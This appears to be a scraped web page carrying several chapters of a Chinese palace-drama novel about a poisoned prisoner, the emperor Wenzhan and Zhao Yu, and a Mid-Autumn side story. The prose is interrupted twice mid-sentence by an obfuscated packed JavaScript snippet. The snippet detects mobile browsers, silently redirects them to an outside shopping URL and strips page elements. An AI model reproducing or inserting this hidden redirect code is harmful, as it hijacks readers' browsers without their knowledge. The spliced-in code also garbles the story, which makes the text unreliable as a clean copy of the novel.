大长老拉摩提后半夜开始发热,到了凌晨已经开始说胡话了。 只不过,他说的胡话没人能听懂。 梁十一把诏狱最好的大夫叫过来,给大长老仔细检查。 首先要查验是否中毒,这样可以尽早救治,同时也会确定,这是否应该归罪与缇骑。 从来中毒只有两种可能。一是被下毒,只是,诏狱的守备铜墙铁壁一般,重要人犯在这里被下毒那可是缇骑万死难辞其咎的罪责;二则是大长老拉摩提自己服毒,那么,缇骑背负的罪责同上。 黎明之后,梁十一得到消息,大长老中了毒,并且是剧毒枯骨蛇胆。这种蛇只存活于须臾沙漠中,而解毒的药却是西疆圣上之上的雪灵芝与其他十八味名贵药材。这些药材好得到,无非就是价钱昂贵一些,而这味雪灵芝却是棘手至极。 “雪灵芝是西疆圣山之上的稀世珍宝。”那名大夫很有见识,“采药人想要得到它必须经过九死一生。那条路是通天路,许多采药人都死在半途,尸体却因为终年不化的积雪而永远不腐,永远不朽,也永远不会入土为安。后面的人都需要踩着那些人的尸体继续上山,因缘际会,福分足够,才能得到雪灵芝。雍京城中,卑职尚未听说哪里藏有雪灵芝。梁大人,也许这就是这个人的命数,到了应该尽的时候了。” 旁边忽然走过一个人,梁十一抬眼看,居然是崔珩!这位宁淮侯脸色有些青白,眼下有些阴沉,不过精神看上去却显得坚硬。 崔珩开口问,“除了雪灵芝,还有没有其他法子解毒?” “这个,……”那位大夫有些犹豫,他倒是认识崔珩,所以,他的安静到不是为了避嫌,而是果然为难。 崔珩则说,“有什么就说什么,做不做在我。” 那位大夫想了想,艰难的开口,“那就需要身强体健的人,以自己的血换这位中毒之人的血,这样的人,被成为药人。这样解毒之后,药人会全身溃烂而死,实在有违天和。” 崔珩却说,“需要几人?” 大夫叹口气,说,“自然是越多越好,五人即可,十人为佳,二十人则是极限。药人越多,分担的人越多,而每个药人承受的毒血就越少,就越可能活下去。只是,枯骨蛇胆是天下奇毒,沾染一点就会终身残疾。” 崔珩点头,只说,“知道了。” 大夫走后,崔珩看着梁十一,“梁指挥使,找二十个人,要身体好,功夫好,不是家中独子的人。” 梁十一身边是位小旗官,“我们原本只想用那个老神棍换一个人,现在他中了毒,半死不活,难道我们需要另外再损伤十几个人的性命来救他吗?” 梁十一咬了咬牙,“我们要换的人,是重臣之子。” 小旗官压抑着愤怒,低声问梁十一,“我们的弟兄个个为朝廷忠心耿耿,难道二十条人命抵不过那个什么重臣之子?再说,就算这回用人命把老神棍救活了,这个半死不活的老东西就一定能换回那个人吗?如果不能,那我们这二十个人岂不是白白送死?” 闻言,梁十一看着崔珩,而一身紫蟒的崔珩也在看着他。 梁十一虽然沉默,但是他的眼神中却带着质疑,而崔珩,……,他那双眼睛黑的像是千尺深潭水,波澜不兴。 “重臣之子?”崔珩仅仅回味了这四个字,随后微微冷笑一声,转身离去。 禁宫,文湛寝殿。 赵毓从香山下来,已经是双腿酸软,等他骑马回宫之后,已经快要掌灯。 过了晌午,雨水就厚重了起来,赵毓即使穿了披风,戴了蓑帽,他的头发还有些潮湿,身上的衣袍也是半湿的。 黄枞菖一直在这里等他,一看到他就领着他去沐浴,随后换上干爽的衣物。 关于大长老拉摩提中毒,还有崔珩想要动用二十个活人救他性命的事情,黄枞菖想要对赵毓说,只是一开口,赵毓拦了一下,“先等一会儿,天大的事情容我缓口气。” 黄枞菖心想,也对,再大的事情也不急于一时,所以就笑着说,“祖宗还没吃饭吧,我让厨房给您下点挂面吃,窝上一个大大的荷包蛋,再铺上一层厚厚的香油!” 赵毓赶紧点头,他已经饿的前心贴后背了。 等赵毓再回到寝宫,文湛已经从微音殿回来了。他就坐在靠窗的软塌上,正在烹茶。 他看了赵毓一眼,“回来了?这两天连着下雨,我让人在西山顶上接了一些雨水,正好用来烹茶。过来坐吧。” 文湛说着,拍了拍身边的位子。 赵毓看着他,没有动。 文湛只是看了他一眼,随即低头看着面前小陶炉上煮水的细瓦罐,水开始渐渐滚开,犹如鱼目一般的气泡小珠滚滚升起。 他问,“怎么了?” “今天早上吉王邀我一起爬香山。” “他也能爬香山?”文湛笑着说,“我以为他快要走不动道了。” 文湛心里对于吉王这只貌似老谋深算的狐狸异常厌恶,所以即使以他本身的修为,轻易不出语讽刺,每当提到吉王,他总是在话语中带着一丝的冷意。 赵毓却说,“其实老王叔人不错,你不要因为我的事情总是看他不顺眼。他说了,当年他带着我出去玩,……” 文湛,“吉王的事情同你没关系。他看了两本污言烂语的书,就开始说自己韬光养晦,身为亲王,整日同那些斯文败类一样,捧名妓来自证清高风流。裴相说那些科甲正途的官员犬马不如,我看,这位年俸六万两白银的亲王真是猪狗不如了。父皇对待他和善,不是因为吉王本身韬光养晦功用大,而是因为父皇身边除了他之外,已无其他手足。” 此时,瓦罐中水逐渐滚开,缘边如涌泉连珠。 文湛用瓢舀出一瓢开水。 同时,他用竹筴在沸水中心环激,倒入茶末,等水三沸之后,再将方才舀出的一瓢开水再倒回瓦罐中,煮好一锅茶汤。 赵毓喝茶的口味极其挑剔,但是他对如何烹茶却兴趣缺缺,想要烹出他喜欢的口味不能询问他,只能一次一次的试。 文湛用竹勺舀出茶汤,放在瓷盏中,“方才淋了雨,喝口热茶,暖暖。” 赵毓还是没动,再开口,语气已经不是柔软,“吉王说了越筝的事。” 文湛微微一挑眉,“越筝?” 赵毓,“他本来不应该处在这个艰难的位子上。” 文湛语气非常平淡,“他又有什么可艰难的?” 赵毓,“既然你已经有了灵均,为什么还要让楚蔷生教导越筝读书?大郑千年的传统,册立东宫之后,其他皇子不再去毓正宫,读那些乱人心智的书,学一些无用的屠龙术。天家骨肉生来精贵,只要吃好喝好平安富贵过完一生就好。除非,你想学先帝,养蛊!可是,你看看,先帝子嗣一个一个的都是什么下场?你用越筝制衡太子,你,……” …… 帝王之治,必以敬天法祖为本。 合天下之心以为心,公四海之利以为利,制治于未乱,保邦于未危,夙夜兢兢,所以图久远也。 占竭思虑,耗敝精力,殆非劳苦二字所能尽也。 …… 这是先帝的遗训。 八年前,先帝驾崩,遗训公示天下。 赵毓守陵,文湛让黄枞菖将先帝手稿送到他面前。 那封手稿像是病中握笔,先帝原本那手颜筋柳骨、行云流水一般的字迹已经歪斜,死亡的气息弥漫在字里行间。 赵毓看着,一字一句,似乎有血迹,从绢纸中微微渗透出来。 他知道文湛身在帝座的艰难。 越筝的事,有着文湛作为帝王不得不为的手段,还有,就是越筝自己那颗无法降服的内心。 如今看来,后者多一些。 赵毓想着自己一走十年,越筝也疏离了。可是,原本就算在雍京,越筝也一直都是文湛在照顾,现在他又有什么资格责备文湛? 这是迁怒! 想到这里,赵毓连忙闭嘴。 他忽然看到面前桌面上摆放着两个金漆盒子,微微一闻,就知道是给自己的药丸。 其中一份应该是周熙的药行配制的,含着清甜蜂蜜的香气,而另外一份,…… 赵毓打开盒子,上面的蜡封是御药房。 雍京今年雨水大,不如西疆甚至不如冉庄干爽。最近可能他的八字又不太对,一堆烂事。虽然他的心口不像当年那么疼,却有些闷。于是,赵毓从两个金漆盒子中各拿了一个药丸,想要用茶刀刨开,一样吃一半。这样,味道不会过于甜,也不会过于清苦。 没想到,他刚拿出药丸,手腕就被文湛的手指死死扣住。 这个力度坚硬无比,硬到使人疼痛的地步。 继而,文湛的另外一只手,手掌贴在赵毓的心口上。他开口时,语气看似淡然,其实有些些微的颤抖,“怎么,心口疼?” 今天文湛已经做好了狠狠挨骂的准备。 他知道承怡这些天心头有气,如果能发火,心头的难受一下子都倒了出来,总是好事。可是,他听着承怡说气话,说着说着,却忽然安静了下来。 文湛抬头看承怡,却发现他正在开盒子取药丸。 承怡心口上有道深刻的刀疤。经年的旧伤,伤口已经闭合,不会碰一下就流血,只是痕迹永远不会消弭。 只是,承怡心口疼的旧毛病,却不是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728913|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道刀伤,而是内伤。 那一年,文湛记得自己同承怡吵架,为什么争吵他早已经忘记了,只是记得吵的特别凶狠,最后承怡居然在他眼前吐了血。 那一口血出来,染红了他整个衣襟。 ——会死,…… 那是文湛第一次感受到恐惧,一种会永远失去的恐惧。 原本他以为承怡会一直在他身边。即使他们会争吵,会生气,但是承怡会一直在! 可是。 那么多血,红色的,铺天盖地,似乎是一种幽冥中谁也无法对抗的力量,可以将承怡从他身边撕扯开去! 赵毓看着他,“不疼,……,我就是,……” 他轻轻抚上了文湛扣住他手腕的手指。 文湛像是被安抚了,缓和了一下,“怎么不说话了?” 赵毓看着他,叹了口气,摇摇头,“是我不好。我不应该冲着你发脾气,我知道你已经很难了,我,……” 文湛,“我是你最亲近的人,你心口不痛快,不冲我发火,还想冲谁发?” 赵毓,“……” 良久,他才说,“既然是最亲近的人,难道不应该想着让你过的欢喜一些吗?文湛,你有没有想过,我不是一个好情人。我当年离开,当时想着,自己没有让你幸福的能力,没有我,也许你会过的好一些,……” “幸福?”文湛忽然微微笑了一下,只是,那不能称为愉悦,“那是什么,我不知道。我只知道,没有你,我活的不像个人。” 赵毓这次实打实的一把握住文湛的手,“别这么说。”随后,他直接泄了气,“我们两个究竟在做什么,好端端的吵什么。”说着,又是一声叹息,“哎。” 文湛看见黄枞菖早就将赵毓的挂面端了过来,只是一直站在寝殿外面,没敢向里走。他招了一下手,让他进来,赵毓闻到喷香扑鼻的汤面,脸色都缓了上来。他坐在这里安静吃面,文湛把烹好的茶汤拿过来,让他喝了两口,果然顺口。随后,文湛坐他对面,拿出银刀给他切蜜丸。 文湛问他,“你怎么想着切开吃?” 赵毓,“周熙那边送过来的有蜂蜜,他们下手有些重,蜜丸弄的太甜,御药房的配方太方正,味道太凝重,所以我想着一样一半,搭配着吃。” 银刀所到之处,蜜丸破开,规规整整的被文湛摆放在羊脂玉的盒子之中。 文湛,“最近心口难受?” 赵毓,“倒是不疼,就是闷。” 文湛,“心思太重。” 赵毓的筷子用力搅了搅面条,荷包蛋化开,一种滑腻的美味浸在香油中,“你这是说我小心眼。” “不是。”文湛说,“我只是不希望你这么苛责自己。越筝的事,……” 赵毓的眼睛从面碗中抬起来,看着他。 文湛却看着手中的银刀,“承怡,你有没有想过,大郑的皇子除了登上皇位之外,难道只能有韬光养晦,浪荡颓废,甚至眠花宿柳这一条活路吗?没有第三条路可以走?越筝出身雍容,天资极高,他自幼在毓正宫勤勉读书,楚蔷生用心教导,四书五经六艺七坟八典无所不通。这样的人,无法成为储君,就只能成为废人?” “可是,……,越筝离皇位太近,……,他的内心,……” 文湛却说,“这需要他自己降服自己的内心。承怡,先帝破了祖制,让所有皇子一并读书并不是为了养蛊,而是想要为彼此留下一脉手足。只是,父皇算的了天下却算不了人心。我们这些人,没有人有这个修为可以降服内心,最后就是这么一个兄弟凋零的后果。” “为什么,你认为越筝可以?” “他现在也不可以,只是,我想要给他一个机会。”文湛看着手中的银刀,刃是软的,即使锋利也带着柔和,“承怡,越筝已经长大了,他自己的路,他必须自己走。其实,太子灵均的处境并不比他容易多少,但是,这就是身为大郑皇子的命。既然是命,就要认。如果有一天,越筝可以明白,权力并不是可以随意掌握万民生死的利器,不能不择手段费尽心机去抢夺,同时,他也不会拿着朝廷每年数万两白银的俸禄去挥霍,于黎民于社稷无尺寸之功,那个时候,他才会,……” 赵毓看着手中的面汤,已经冷了,可是香油的味道依旧清香。 “承怡。”文湛放下手中的刀,抬手,将赵毓的一缕头发别在耳后,“我说你心思太重不是说你小心眼,我只是,……想要同你长长久久在一起。” “长久一些,……” “再长久一些,……” 赵毓心思翻涌,刚想要说什么,黄枞菖忽然进来,急切的说了一句,“陛下,那个大长老,他,……,死了。” 56. 番外·中秋 番外·中秋 十多年了,这是赵毓第一次在大正宫过中秋。 可惜。 雍京之前雨水过多,他在猎宫的时候因为贪玩在雨中骑了半天的马,回来就发热,一度烧的糊涂到认不清楚人,太医们束手无策,各个缩着脑袋跪着,好像待宰的鸭子。 太医局的大人们最怕高热,先帝当年就是这样。先帝成庙虽然一直缠绵病榻,可是未见得就会出大事,据说一夜他睡不宁,像是看到了什么人,起身开寝殿大门到外面,吹了冷风,黎明的时候开始发热,三天后就病危,结果,没有拖到第七天,人就不行了。 他们怕这次赵毓也是如此。 皇帝一直在他身边。 其实,当今圣上是个非常克制的人,他并没有如戏文中的暴君那样,指着他们这一干人等怒叱,“你们给我好好治,要是他有个三长两短,朕让你们统统陪葬!”但是,寝宫中的医官们依旧心惊胆颤。当今圣上的威仪不在怒气外露,而在于平和。 “已经三天了,灌了这么多药,高热怎么还不退?” 皇帝轻声,言语柔和,似乎怕惊动了躺着的那个人,却让旁边的人有一种肝胆俱裂的恐惧,因为这句话无法回答,同时也无法搪塞。 ‘皇上至圣极明,自古人主患不明,惟皇上患明之太过。自古人主患不断,惟皇上患断之太速。’这是何隽棠回原籍之前,给圣上写的一道奏折中的一段话,太医局的医官们都是读书人,自然知道。当时何隽棠身居文渊阁大学士高位,却重病致仕,也许是多年的君臣情谊,让他离开雍京之前斗胆写了一封奏疏来谏言,规劝圣上明察过分,水至清则无鱼,恐失臣心。 对于这句话,皇帝是否听进去,外臣不得而知,只是当今天子驭极十三年,积威已重,似乎人世间任何谎言,所有野心、欲|望与心机都无法瞒过他那双深黑如同镐川之水一般的眼睛。 幸运的是,赵毓高热的第三天夜里发了一身汗,第四天一早就退烧了。 “应该是这段时间太过劳累,身体不堪重负,所以发热示警,同时也让自身修养恢复一下。” 也许,只有这一个解释了。 高热过后就是静养,赵毓在皇帝寝殿中一直很安分的躺着,所有药汤一概按时服下,御膳房送过来的补品即使再难吃他也一口一口吞下,到了生病的第十天,他终于可以精神不错的坐着同黄棕菖聊天了。 赵毓斜在榻上,手边是个小桌,上面摆着几个官窑碟子,里面是切成开花样子的各色月饼,他正一块一块的吃,同时,他还说,“今儿是八月十五,往年宫里有戏听,不知道今天请的什么班子,唱什么折子戏?” “没听说今年也有戏听。”黄棕菖在一旁煮茶,“之前您不是一直病着,圣上也没那个心情攒人听戏。那些王公们还挺高兴的,不用来宫里立规矩,纷纷在自己府邸关起门来请人唱堂会。我估摸着,就算每天演一出大闹天宫也没人参他们。这不是过节了嘛。” 赵毓拿着每种月饼咬了一口,“这么多花样,我还是喜欢我娘手打的枣泥馅的。” 黄棕菖点头,“好,那咱们就留这一种。” 赵毓又说,“桂宝儿喜欢吃苏式鲜肉馅的,这些给他送过去。前些日子他可真遭罪,现在回来了,在家待着死也不出来了,看着怪可怜的,多给他几块,让他多吃点。另外,尹家多送一份豆泥馅的,我老丈人牙口不如以前,同时他也不喜欢南味这些又甜又咸的味道。” 黄棕菖点头,应得。 赵毓,“楚相喜欢杂果青丝玫瑰的,这些给他;老崔那边随便给点啥都成,索性,给周熙的月饼一式两份,让他留一份,另一份给周家送过去。西北道那些人喜欢五仁的,告诉厨房,别用做御膳用的那些模子,换个民间常用的五朵金花样子就好,这些月饼不讲究好看,就是土呼呼的也没事,重要的是多打一些,用木桶装满,让人抬四个大木桶过去。那些人胃口大,比如薛宣平,之前我们在伊犁的时候,他一口气吞了五块月饼,还能吃得下四块馕和十串红柳穿的羊肉。” 黄棕菖,“这位爷幸亏没生在我们凉坡,不然就他一个,就能吃穷了我们整个村!” “别这么说。”赵毓反驳,“老薛只是胃口大一些,他又不是蝗虫。还有这个,……”他说着,手指拿起来一块烤的极精致的酥皮月饼,以松仁、核桃仁、瓜子仁和冰糖、猪油作馅,味道香浓,“这个,挑拣一个红漆食盒,送到雍王府,越筝从小喜欢吃这个,不知道这么多年,口味变了吗?” “没有。”黄棕菖摇头,“这人啊,口味都是小时候养成的,那个时候喜欢吃啥,后来就喜欢吃啥。比如我,从小喜欢吃杂果的,现在还喜欢。” “不对啊,黄瓜,你不是和楚相是一个地方的人,怎么同他的口味不一样?” “人家是读书人!”黄棕菖摇头晃脑,“我们家祖上十八辈子都是文盲,就我一个认字的。我们跟人家不是一路人,口味怎么可能一样?” “楚相少年时清贫,吃了不少苦。” 黄棕菖的嘴巴已经张开了,不过想了想,又闭合上了。 “怎么?”赵毓询问,“我说的不对?” “也对,也不对。”黄棕菖则说,“左相大人比起祖宗您,那是蔓草遇到金枝玉叶,没法比,只是,他家再穷还有书读,这就算大户人家了。我们那个邻居,呃,就算邻居吧,其实我们两家合着用一块茅草顶,他们家头胎生了个丫头,凤化二十九年到三十二年,我们老家连着三年的水灾,还能跑得动的都跑出去要饭了,我们邻居家就剩了老太太和那个丫头,也就第五天,那个丫头就被她奶奶煮着吃了,那天正好八月十五。” 赵毓,“这大过节的,你能说点吉利的吗?” 黄棕菖,“圣上到了。” 呃……,也许在黄棕菖的眼中心中,皇帝文湛可以媲美钟馗?——辟邪与避邪! 正说话,文湛进来。他径直到赵毓面前,弯腰低头,将自己的额头抵住赵毓的,静静探了探温度,“还是有些热,身上可有不舒服的地方?” “我没事了。”赵毓笑着摇头,“外面一直下雨,这屋子里面熏了暖香就显得我额头热。” “好,没事就好。” 文湛低头想要亲吻赵毓的嘴唇,结果,被他下意识的躲开了,“别把病气过给你。” 近在咫尺的人,文湛看着他。 赵毓穿在身上的是圆领缂丝衣袍,系的十分严谨,一颗红珊瑚珠子做的扣子恰好系在咽喉下,文湛抬起来手指,将那颗红色珊瑚扣子解开,领口翻动,露出纤细的脖颈,还有一点锁骨。文湛低头,就在赵毓锁骨边缘用牙齿微微印下一个痕迹。随后,他也不多说什么,侧身坐在赵毓身边,黄棕菖端过来瓷盏,文湛拿过喝了一口热茶,转手就放在赵毓手边的小桌上。 赵毓看他脸色极差。最近一段时日,以脱脱不花为首的蒙古诸王有异动,天山南北具现蒙古部族骑兵,西北战报频传。昨夜,文湛等甘宁总督的一封奏折,看完之后还需立刻拟旨,为他写旨意的人是翰林院新入侍的官员,文思敏捷,可惜措辞不严谨,显得有些疏漏。文湛看过那人写的东西,随后一字一句校正过再让那人誊抄一遍,天亮的时候才用了印,八百里加急发出。白天又是几乎一整天的政务,到了快掌灯的时辰,他才得空回寝殿看赵毓。 赵毓看着他,“累了?” “有点。”文湛不硬撑。 “先躺一会儿。” 赵毓将自己斜靠的枕头放在榻上,同时让黄棕菖从里面的大床上抱过来被子。 文湛躺好,赵毓将被子盖住他。 此时,他似乎睡着了,赵毓在他身边听着他极低的呼吸声音,安宁到有些静谧。 忽然! 文湛呼吸急促,额头上有冷汗,他猛地张开双眼,看见赵毓用袖子为他擦汗。他定了定神,抬手握住赵毓的手指。——温凉的触觉,却让他带着血腥味狂跳的心逐渐平和了下来。 “噩梦?” “嗯。”文湛轻微点了点头。 “什么?” “不记得了。” 闻言,赵毓的手指反握住他的,“我知道。” 文湛没说话,随后,他听见赵毓说,“你梦见我死了,是吗?” 文湛没有说话,对于赵毓的话语他完全不想回想,更不要说让他承认了,他知道眼前这个人是他一生的魔障。 小的时候,他其实恨过赵毓,因为眼前这个人让他承受几乎可以撕裂他内心的痛苦,但是随着年岁渐长,他却认为,可以品尝痛苦其实也是一件幸事。 帝国皇位就像一个充满了刀锋的庞然大物,轰鸣向前,坐在这里,时间越久,心也就越僵硬。他知道自己为了巩固权位,他可以将父皇为他留下的重臣玩弄于股掌,即使他依旧记得,那个人在他少年时代为辅佐他的忠心与情谊,至于那些斗升小民的生死,只存在于奏章书页中,一行字,几个数而已,他无法再仔细看后面的世道艰辛与血泪斑斑。 因为对赵毓的情爱而感受到的痛楚似乎成为了一种恩赐,让他感知,自己是个人,依旧还活着。 但是上天似乎给予他的比这些要多,……,多得多。 他已经习惯了,于是,就开始害怕。 害怕失去。 赵毓见文湛不说话,只是闭上双眼,于是,他让黄棕菖将燃着暖香的铜炉上的雕花龛拿过来,在其中放了两片安神香片,这是沉香、檀木与西疆拉文德草精炼成的香料,原本是赵毓给自己用的。他有的时候晚上睡不安稳,多梦,半夜起来就在香炉中点上一片,沉水一般的香气烟袅,逐渐着,想不了那么多,人也就睡踏实了。这次也是。香薰铜炉外气味幽暗,不绝如缕,文湛淡淡的呼吸,不知觉中,沉沉睡去,这一下,就到了子夜。 文湛睁眼,身边有人。剔透的琉璃灯外照着薄纱笼,赵毓就贴着他歪着,靠在抱枕上看书。仅仅一瞥,文湛发现,赵毓手中的书并不是他们常看的那种线装书,而是写在姜黄色的长条卷纸上,所谓翻开,其实只是将纸卷一点一点拉开而已。 “醒了?”赵毓看着他醒过来,将手中的书卷起来,放在一旁。 “香。”文湛轻声说了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728914|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵毓,“刚才怕你又做梦,烧了一些安神香片。” 文湛则说,“我不是说熏香,我是说你。” 赵毓看了看他,只是微微低了头,浅浅的笑了,“饿不饿?” 文湛,“什么时辰了?” 赵毓回答,“子时刚过。你有福气,雍京下了半夜的雨,刚停,外面夜空明澈,正好喝酒赏月。” 文湛,“这么晚了,不睡?” 赵毓笑着说,“中秋的民俗是要熬夜的,熬的越晚,月亮会保佑活的越久。虽然我自己知道我是祸害遗千年,不过为了让你安心,我今夜就不睡了。放心,我一定会活的长长久久的,到时候就该是你看我不耐烦了。” 怎么会不耐烦? 多久,都不会足够。 原本,文湛以为中秋守夜可以长寿只不过是一个荒诞的民俗,此时他却希望这是真的。 赵毓让外面等候着的柳丛容进来,端过来漱口的盐水和清茶,同时还有需要换的衣服。屋子中烧着暖香,不用穿外袍,赵毓已经换上了空纱笼的宽袖长衣衫,颜色比较轻,是雨过天青色,而文湛的衣服颜色稍微重一些,是沉葛的颜黑。 “刚才,你看什么书?” “当年一个波斯商人欠了我一些钱,他说要给我骆驼抵债我没要,他就把这书给我了。据说,这是他们波斯的一个学者写的,叫做《圣学复苏精义》。” “经书?” “这个不是他们的经书,应该是类似朱子对于四书的注疏。其实我也看不太懂,一点一点啃下来,慢慢看,还需要有一些通译写的注疏才能慢慢看出一点门道。” “怎么,你也想学父皇那样,找个神明每天烧香祷告,顶礼膜拜?” “不是,我对漫天神佛不太感兴趣。”赵毓拿过那卷纸,慢慢展开,“波斯商人很有意思,他们善于做生意,胃口很大,很容易赚到很多钱,但是在一些方面又极度自制,比如,他们的教义不允许他们通过借给别人钱来赚取利息,他们认为以钱财来生财而不是通过辛劳而生财是会遭到报应的,这本书上写了这些东西。” “还有什么?” “还有诸如生意是怎么开始做的,贸易是如何产生的,还有,一个造针的作坊如何通过二十五道不同工序来锻造一根绣花针。总之,我看来看去,想来想去,就是一句话的事。” “什么?” “生意如果想要做大,必须欠钱!” 文湛,“……” 皇帝似乎对这卷写满了看不懂文字的经书注疏不太感兴趣,只是看了一眼,随后,赵毓小心谨慎的又卷了起来。 他,“每年中秋,我娘的月饼都是自己动手打的,今年她和格非在一起过,格非在那边吃,我就让黄瓜送了一些点心过去。各国使节朝贡,还有中秋在雍京城中点灯拜月这些热闹东宫都在,听说做的不错。今年虽然下雨,可是城外镐川岸边人头攒动,很多人都折了纸灯放入水中,想来今夜神明又该忙了。” 柳丛容服侍文湛换好了衣服,外面的人已经抬了食盒进来摆席。 桂花酒温好了,一人一盏斟好,月饼切成两个人吃的样子,用黑瓷盘装好,端了上来。这个盘子中,除了中秋比吃的月饼,还有一些南瓜酥,红豆饼,以及马蹄糕。寝殿外,迎寒的祭品桌已经摆好,西瓜切成莲花的样子,月饼一块一块摞好,红烛和线香已经点燃,黄棕菖就算代这些人拜了拜月亮,以完风俗。 赵毓用手捻了一块南瓜酥,放入口中,“还是原来那个味。当年我还以为你没点心吃,专门从御膳房给你偷,当时看你吃的也挺开心的,就是不知道这么多年过去了,你的口味变没变?” 他边吃边说,完了,还仔细将每根手指舔干净。 没变! 人的口味从小养成,越大越不会改变,尤其是那些美好的部分。 文湛看着眼前这些点心,他依旧还记得当年那个面容清秀,头发软软,眼角有泪痣却总是笑意盈盈的承怡,顶着为他偷点心的名头,每次拎过来的南瓜酥却有七、八成都进了自己的肚皮。当年的承怡就像这样,坐在自己身边,吃饱了之后就将手指舔干净,一根,两根,…… 他觉得自己可以看着他这样,一直到天荒地老。 虽然嘴上说着要守夜,可是赵毓到了寅时就困的受不住了。 雍京的寅时,黎明之前,夜与日的交界。 赵毓的头歪着文湛肩膀上,手指上的书卷垂下,让黄枞菖拿走了。 文湛,“别熬着了,我让他们铺床。” 赵毓听着,眼睛睁不开,却摇头,“不,说好守一整夜,就是一整夜。” “好。” 文湛揽过他,让他靠着自己,睡的舒服一些。 一整夜,据说可以活到鸡皮鹤发。 少年时,文湛想着自己总是喜欢‘看玉做人间,素秋千倾’这样且丽且壮,包举八荒的词句,现在,他看着眼前人,似乎最喜爱的就是苏东坡的那一句。 ——但愿人长久。 长久。 再长久一些。 —END— 57. 57 57 赵毓赶到诏狱,发现自己慢了一步,崔珩已经到了。 “脸色这么难看?” 崔珩看着他,语气却不显得十分急迫,不知道是不是赵毓的错觉,他深知感觉到崔珩的神情中带着一丝的笃定与怡然。 “怎么回事?” “中毒。西疆剧毒枯骨蛇胆,半夜开始发热,凌晨开始说胡话,过了晌午就不成了,刚死。目前这个老神棍怎么中的毒是个谜,不知道是被人下毒还是自尽。” “枯骨蛇胆?”赵毓听着心里一沉,直接坐在诏狱监牢旁的木板上,“能下这毒的人十个手指头都能数的过来,没有一个是省油灯。” 大长老拉摩提的尸体已经被抬出去,梁十一进来,他看见赵毓同崔珩在说话。 梁十一听见赵毓问崔珩,“医官怎么说?半夜发现他说胡话之后,就没有救治一下吗?” 此时,崔珩也看见了梁十一。 崔珩,“救不了。” 赵毓,“怎么说?” 崔珩,“医官给了两条路,一,找到西疆圣上之上的雪灵芝。” 赵毓叹口气,“整个雍京城都没有这味药。那么,第二条路呢?” 崔珩,“二十个年轻强壮的人,以血换命。” 赵毓闻言,抬头看了崔珩一眼,同时,顺着脚步声,又看了一眼站在马灯下的梁十一,他有些意外,因为梁十一的脸色极其难看。 赵毓冲着崔珩点了点头,“知道了。” 梁十一忽然发问,“赵先生知道了什么?” 赵毓,“拉摩提死了。” 梁十一,“赵先生是否知道,崔侯爷同意用我们二十个兄弟的命去换大长老的命。” 赵毓没说话。 梁十一,“赵先生是否也知道,牺牲无辜人的性命,只是为了换回尹府公子?” 赵毓还是沉默。 梁十一,“我知道人分三六九等,有人天生是王公,有人出生就是贱民,也许在赵先生眼中,我们二十个对朝廷忠心耿耿的兄弟的人命抵不过尹府公子,毕竟那位是重臣之子,您的内弟。” 诏狱阴森。 梁十一知道崔珩曾经下过诏狱,并且最终活着走了出去,他杀伐半生,虽然看似不羁,却带着肃杀,原本以为他身上带着一些不被泯灭的血性,现在看来,自己妄想了。 可是,崔珩同他眼前这位前亲王比起来,……,似乎还更有一丝活气。 赵毓,难以描述的秀致,他身上穿着贡缎锦袍,昂贵的熏香似乎从他肌肤里一丝一丝的渗透出来。 冷,静,如同寒冬封冻的镐川之水。 虽然梁十一对赵毓知之甚少,但是凭借他看到的这些,他认为赵毓就是锦衣玉食的王公贵族,美酒美色与歌舞泡软了骨头,也泡冷了心。他久在雍京,久在北镇抚司,他见多了这些人,虽然他们斯文绵软,风度翩翩,只是,在赵毓这种出生就可以把名字写入皇室玉牒的人的眼中,天下为刍狗。 只是,…… 赵毓看着他的眼神,却与那些王公不同。 梁十一忽然想起来自己小的时候,家乡连续三年大旱,饿殍遍野,流寇频出。那个时候,他去偷扒死人的衣服卖了换口吃的,却在尸堆中看见了一只白色的野猫,那只猫的双眼是黑色的,眼神如同箭一般锐利,隔着死人堆砌的小山从那边射了过来。 赵毓抿了一下嘴唇,只是说,“梁大人,我希望你找出给大长老下毒的人。” 梁十一,“命令?” 赵毓,“我没有资格命令镇抚司,我想着,如果有人可以在诏狱悄无声息的杀死大长老拉摩提,那么,这些人就能在雍京城悄无声息的做别的事。” 梁十一,“赵先生如果有圣上的旨意,请示下。” 赵毓,“……” 崔珩忽然说,“我就说你是操心的命,想这么多,也不会多长一两肥肉。你看看,大长老既然死在诏狱,梁大人自然责无旁贷,其他的,你就别管了,其实,你也管不了。你先回家,你们家账房找不到你,都找到我宁淮侯府去了。我让他在兰叶巷等你,说你一准儿回去。” 赵毓忽然有一种师虱子多了不咬,债多了不愁的豁达,“又出什么事了?” “不是什么大事。” 崔珩扯着赵毓向外走,等到了外面,夜风夹杂着细雨一起砸下,却砸散了方才诏狱内的腐烂与压抑。 “你不是吃了随侯在绮镇的土地吗?当地的佃农雇农还有一些贫民正在闹,说要揪你去告官。怎么,你吃了随侯石家的土地,却想要把世代耕种的小民百姓赶尽杀绝?我以为,你做不出这种事。” 赵毓,“我原本想着把土地分成五亩一块卖给他们。” 崔珩,“他们手中没有余粮,更不要说买土地的白银了。我知道你的心意是好的,可是他们怎么可能买得起?” 赵毓,“我让西北道借给他们银子。” 崔珩,“放高利贷?” 